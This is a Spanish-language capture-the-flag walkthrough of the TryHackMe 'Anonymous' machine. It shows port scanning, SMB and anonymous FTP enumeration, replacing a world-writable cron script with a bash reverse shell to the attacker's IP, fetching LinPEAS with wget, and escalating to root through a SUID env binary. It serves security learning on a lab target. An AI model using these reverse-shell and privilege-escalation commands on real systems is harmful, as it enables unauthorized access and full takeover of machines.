TryHackMe Easy Target IP: 10.129.150.217

Máquina Anonymous

Resolución paso a paso de la máquina Anonymous de TryHackMe, analizando los servicios expuestos, ganando acceso inicial mediante FTP y logrando escalar privilegios en el sistema.

#Linux#FTP#SMB#Cronjobs#SUID#GTFOBins

Fase 1: Reconocimiento (Escaneo de Puertos)

El primer paso en cualquier CTF es descubrir qué servicios están corriendo en la máquina víctima para mapear la superficie de ataque.

Escaneo Completo de Nmap

Se realiza un escaneo de todos los puertos TCP (-p-) determinando las versiones de los servicios (-sV) a una velocidad agresiva (-T4):

sudo nmap -sV -T4 -p- 10.129.150.217
Escaneo de puertos Nmap
Resultados del escaneo de puertos de Nmap sobre el objetivo

Resultados Clave de Nmap

El escaneo revela varios puertos abiertos de gran interés:

  • Puerto 21 (FTP): Servidor vsftpd 2.0.8 or later.
  • Puerto 22 (SSH): Servidor OpenSSH 7.6p1 Ubuntu.
  • Puertos 139 y 445 (SMB): Servidor Samba smbd 3.X - 4.X.

Fase 2: Enumeración de Servicios

1. Enumeración de SMB (Puertos 139/445)

Utilizando herramientas de enumeración para Samba (como enum4linux o smbmap), se inspeccionó el servicio en busca de información accesible sin credenciales (sesión nula o null session).

  • Hallazgo de Usuarios: Se logró enumerar el SID del sistema y descubrir un usuario local llamado namelessone.
Enumeración de usuarios SMB
Descubrimiento del usuario local namelessone mediante la enumeración de SMB
  • Recursos Compartidos (Shares): Se encontraron los recursos print$, pics e IPC$.
  • Acceso al recurso pics: Se comprobó que la sesión nula tiene permisos de READ ONLY (Solo lectura) sobre el recurso compartido pics. Al explorarlo, solo contenía imágenes de perros (corgo2.jpg y puppos.jpeg). Esto resultó ser una pista falsa (Rabbit Hole) o información irrelevante para el vector de ataque principal.
Enumeración de recursos compartidos SMB
Recursos compartidos y accesibilidad del recurso pics

2. Enumeración de FTP (Puerto 21)

Al ver el puerto 21 abierto, el paso obligado es comprobar si el acceso anónimo (Anonymous Login) está habilitado, lo cual es muy común en este tipo de retos.

ftp 10.129.150.217
  • Credenciales:
    • Nombre de usuario: anonymous
    • Contraseña: (dejar en blanco o presionar Enter)

El inicio de sesión es exitoso. Al listar los archivos (ls), se encuentra un directorio llamado scripts.

Inicio de sesión y archivos en FTP
Acceso mediante login anónimo al servidor FTP e inspección de archivos

Dentro de la carpeta scripts, hay tres archivos:

  1. to_do.txt
  2. removed_files.log
  3. clean.sh

La Vulnerabilidad: Permisos de Escritura

Al examinar los permisos detallados de los archivos mediante ls -la, se observa que el archivo clean.sh tiene los permisos -rwxr-xrwx. La última w indica que cualquier usuario (incluido nuestro usuario anónimo de FTP) tiene permisos de escritura sobre este script.

Permisos de escritura en clean.sh
Permisos de escritura globales (-rwxr-xrwx) en el script clean.sh obtenidos en el listado FTP

Fase 3: Explotación y Acceso Inicial

El archivo clean.sh y el archivo de registro removed_files.log sugieren que este script se está ejecutando en el servidor de forma periódica, probablemente a través de una tarea programada del sistema (Cron Job). Si logramos sobrescribir este script con un código malicioso, el servidor lo ejecutará automáticamente en segundo plano.

Pasos para la Reverse Shell

  1. Descargar el archivo original: Desde la consola interactiva FTP, se descarga el archivo original a la máquina atacante:
    get clean.sh
  2. Modificar el script localmente: En la máquina local (Kali), se edita clean.sh para insertar una reverse shell en Bash:
    #!/bin/bash
    bash -i >& /dev/tcp/<TU_IP_DE_TRYHACKME>/9001 0>&1
  3. Subir el archivo modificado: De vuelta en la consola FTP, se utiliza el comando put para sobrescribir el archivo legítimo en el servidor con la versión maliciosa:
    put clean.sh
Subida de script malicioso por FTP
Sobrescribiendo clean.sh con la reverse shell mediante comandos FTP
  1. Ponerse a la escucha: En la máquina del atacante, se habilita un puerto a la escucha utilizando Netcat:
    nc -lvp 9001
  2. Conexión recibida: Después de unos segundos (cuando se ejecuta la tarea cron en el servidor víctima), Netcat recibe una conexión entrante. El prompt revela que estamos dentro del sistema como el usuario namelessone.
Conexión reversa establecida
Recepción exitosa de la consola interactiva en Netcat como el usuario namelessone

Fase 4: Escalamiento de Privilegios

Ahora que tenemos una consola interactiva, el objetivo es escalar privilegios para convertirnos en el usuario root.

1. Enumeración Interna con LinPEAS

Se utiliza el script de enumeración de privilegios LinPEAS para buscar fallos de configuración en el sistema.

  • Transferencia: En la máquina de Kali, se levanta un servidor HTTP rápido en Python:
    python3 -m http.server 8000
  • Descarga en la víctima: En la consola comprometida, se descarga el script:
    wget http://<TU_IP_DE_TRYHACKME>:8000/linpeas.sh
Descarga de LinPEAS
Descarga de la herramienta de enumeración LinPEAS mediante el servidor web Python local
  • Ejecución: Se le asignan permisos de ejecución y se ejecuta:
    chmod +x linpeas.sh
    ./linpeas.sh

2. Vector de Escalamiento (SUID)

Al revisar la salida detallada de LinPEAS, concretamente en la sección de binarios con el bit SUID activado (archivos que se ejecutan con los privilegios del propietario, en este caso root), destaca el siguiente ejecutable resaltado en rojo y naranja:

  • Binario vulnerable: /usr/bin/env
Binario env con bit SUID activado
Bit SUID activo detectado por LinPEAS en el ejecutable env

3. Explotación del SUID para ser Root

Para obtener una shell como root, simplemente se ejecuta el siguiente comando en la terminal comprometida:

/usr/bin/env /bin/sh -p
Payload de env SUID en GTFOBins
Documentación y payload para explotar el bit SUID en env obtenido de GTFOBins

Nota: El flag -p es fundamental, ya que le indica a la shell (sh) que no elimine ni descarte los privilegios SUID heredados durante la inicialización.

Al ejecutar esto, el símbolo del sistema cambia a # y al ejecutar whoami se confirma el acceso como root. La máquina ha sido totalmente comprometida.

Acceso root y flag leída
Obtención de la shell privilegiada de root y visualización de la flag root.txt

Fuentes y Referencias

  • Reverse Shell Generator (RevShells): Herramienta en línea utilizada para la generación y parametrización rápida de reverse shells.
  • GTFOBins: Base de datos y catálogo de referencia de binarios de Unix para comprobar y explotar privilegios de tipo SUID.